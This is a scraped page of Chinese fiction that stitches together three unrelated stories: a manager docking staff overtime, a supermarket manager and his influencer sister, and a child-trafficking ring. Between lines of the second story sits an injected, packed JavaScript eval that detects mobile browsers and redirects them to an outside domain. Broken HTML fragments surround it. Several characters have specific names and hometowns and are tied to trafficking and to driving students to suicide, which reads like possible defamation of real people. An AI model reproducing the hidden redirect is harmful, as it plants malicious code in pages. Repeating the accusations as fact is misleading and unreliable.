AKA传媒财务室·深夜11:30


    （张哲翘着腿坐在电脑前，手指缓慢地滑动鼠标，屏幕上是员工打卡记录表。他抿了一口咖啡，眼睛盯着某个名字，嘴角微微上扬。）


    财务小李（小心翼翼）：


    “张总，小林的加班单……她那天确实通宵改方案了，监控也能证明……”


    张哲（头也不抬）：


    “公司规定，加班必须提前申请。她没走流程，不算。”


    （鼠标点击【驳回】，系统自动发送邮件——“您的加班申请未获批准，本月工时已扣除8.5小时”）


    场景2：公司走廊·次日上午


    （小林红着眼眶拦住张哲）


    小林（声音发抖）：


    “张总，那个项目是您临时要的，我根本来不及走流程……”


    张哲（微笑整理袖口）：


    “规矩就是规矩。对了，你上个月的绩效奖金……好像也差0.5小时满勤？”


    （他拍了拍小林肩膀，走向办公室，背后传来压抑的抽泣声。）


    场景3：张哲办公室·监控视角


    （特写：他电脑开着两个界面——左边是员工实时定位系统，右边是工时审批后台。鼠标悬停在【通过】按钮上，迟迟不点。）


    张哲（自言自语）：


    “市场部小王上个月顶撞过我吧？……嗯，这单加班费先压三天。”


    （手机震动，显示“杨鼎子来电”。他皱眉挂断，顺手把市场部集体加班申请全选【驳回】）


    场景4：地下停车场·深夜


    （张哲走向奔驰车，突然被阴影里走出的杨鼎子拦住）


    杨鼎子（晃着铜钱）：


    “张总，给你算一卦？你命里缺德，最近要破财啊。”


    张哲（冷笑）：


    “神棍就该待在难民营。保安！”


    （杨鼎子迅速往他西装口袋塞了张符纸，消失前回头）


    杨鼎子（喊）：


    “记得看看你瑞士银行账户！——寅时最灵验！”


    （特写：张哲掏出符纸，背面是用血写的六位数——他秘密账户的最后三位）


    ——黑屏——


    字幕：次日，AKA传媒爆发大规模离职潮


    （背景音：此起彼伏的“叮咚”声——全体员工收到匿名邮件《工时克扣证据包》）


    《超市里的张经理》


    超市的监控室里，张琉阳——员工们私下叫他“老张”——正翘着二郎腿刷手机，屏幕上是他的相亲帖：


    「本人张琉阳，江西省南昌市人，擅长日本剑道，家里有矿，年薪百万（我们这行只谈年薪）。长相中等偏上，诚意找M。有几家网红公司，可以拿资源捧你……」


    他满意地咂咂嘴，顺手把帖子转发到超市工作群，附言：「帮老板转发，优质资源，走过路过不要错过。」


    李直靠在货架旁，瞥了一眼手机，嘴角抽了抽。


    老张是这家超市的经理，但谁都看得出来，他真正的职业是“自恋型人格表演艺术家”。他总爱在晨会上提起自己“浙江传媒学院播音系”的辉煌过往，然后用字正腔圆的播音腔念促销广告：「今日特惠——东北珍珠米，买两袋送抽奖券哦～」


    但最离谱的是，他有个妹妹——裴娜。


    裴娜偶尔会来超市，踩着十厘米的高跟鞋，混血五官精致得像橱窗里的BJD娃娃。她是本地小有名气的网红，老张总爱在员工面前“不经意”地提起：


    “我妹妹啊，最近又接了个代言，啧，忙得很。”


    “她那个店，‘I’m one’，你们听说过吧？对，就是那家网红店。”


    “哎，25岁了还不找对象，我这个当哥的操心啊……”


    陈川第一次见到裴娜时，愣了半天，小声问李直：“她真是老张亲妹妹？基因突变？”


    李直没回答，只是看着裴娜拿起一包薯片，对着货架玻璃自拍，P图，发朋友圈，一气呵成。


    老张的办公桌上摆着一把未开刃的日本刀，据说是他“剑道比赛冠军”的奖品。但李直有一次无意中看到，刀鞘上贴着淘宝订单截图——「仿制武士刀，?299包邮」。


    “年薪百万的人，买假刀？”李直挑眉。


    老张面不改色：“这是情怀，你不懂。”


    某天下班后，老张神秘兮兮地拉住李直：


    “小李啊，我看你人不错，要不要认识下我妹妹？”


    李直：“……”


    老张压低声音：“她喜欢有故事的男人，你这种……‘特殊职业’的，她肯定感兴趣。”


    李直默默看了一眼老张头顶的数字——「剩余寿命：42年」。


    “算了，”他微笑，“我怕你妹妹嫌我穷。”


    老张拍拍他的肩，语重心长：“年轻人，要有野心！你看我，家里有矿，年薪百万，还不是从基层做起？”


    李直：“……”


    （你所谓的“基层”，是指让员工帮你转发相亲帖吗？）


    后来，裴娜真的来超市“相亲”了。


    对象是——陈川。


    陈川：“？？？”


    裴娜上下打量他，红唇微勾：“你玩《原神》吗？”


    陈川：“……玩。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949883|177513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    裴娜满意地点头：“行，就你了。”


    老张在一旁感动抹泪：“终于嫁出去了……”


    李直：“……”


    （你们这一家子，真的没问题吗？）


    超市的广播适时响起，老张的播音腔回荡在货架间：


    「今日特惠——缘分一线牵，扫码加微信，老板妹妹等你来撩～」


    李直默默掏出了阴差司的离职申请表。


    《张吉米的网》


    1.吊车下的童年


    童治翔的吊车操作证上沾着油渍，照片里的他咧嘴笑着，露出一颗金牙。没人知道——


    他妈妈是上饶老牌“中介”，专做“特殊物流”（拐卖人口的暗语）。


    他小时候在丰溪8号的老仓库里，和陈可健蹲着看朱东东扒光小孩的裤子，检查“货品成色”。


    那些孩子的哭声，和吊车钢索的摩擦声，成了他记忆里的背景音。


    2.陈家的“血脉”


    陈可健不是普通人——


    他是陈一的亲哥，而陈一，是陈川那个“从不承认”的妹妹。


    陈一在上饶中学逼死过三个学生，用的手段极其下作：公开日记、裸照勒索、集体孤立。


    她最“著名”的战绩，是让一个女孩从教学楼跳下时，手机里还循环播放着她剪辑的嘲笑视频。


    陈川提起这个妹妹时，只冷笑说：“她？早该被阎王收走了。”


    3.张哥的“人脉网”


    张吉米的通讯录里有个分组叫“物流合作”，里面躺着：


    童治翔（吊车+跨境运输）


    陈可健（暴力催收+“货品”管控）


    朱东东（验货+“售后处理”，专扒裤子是为了看有没有胎记或手术痕迹）


    他们共同的母校？丰溪8号仓库——那里没有黑板，只有铁笼和计价器。


    4.通灵者的回溯


    苏末晞的灵力扫过这些名字时，看到：


    童治翔的妈妈，现在在缅甸做“新娘中介”，专骗中国女性过去。


    陈一逼死的那个跳楼女生，魂魄至今缠在她床头，导致她每晚要靠注射镇静剂入睡。


    而张吉米……正用当年在赣东北乐园对苏末晞的套路，让陈可健替他背了三条人命案。


    “你以为张吉米逃到国外就结束了？”李直翻着生死簿冷笑，“他留的‘线’还在国内——童治翔的吊车、陈可健的拳头、陈一的校园暴力……全是他的‘远程操控工具’。”


    远处，童治翔的吊车正吊起一个集装箱，钢索吱呀作响，像极了当年丰溪8号里，孩子们被绑走时的哭喊声。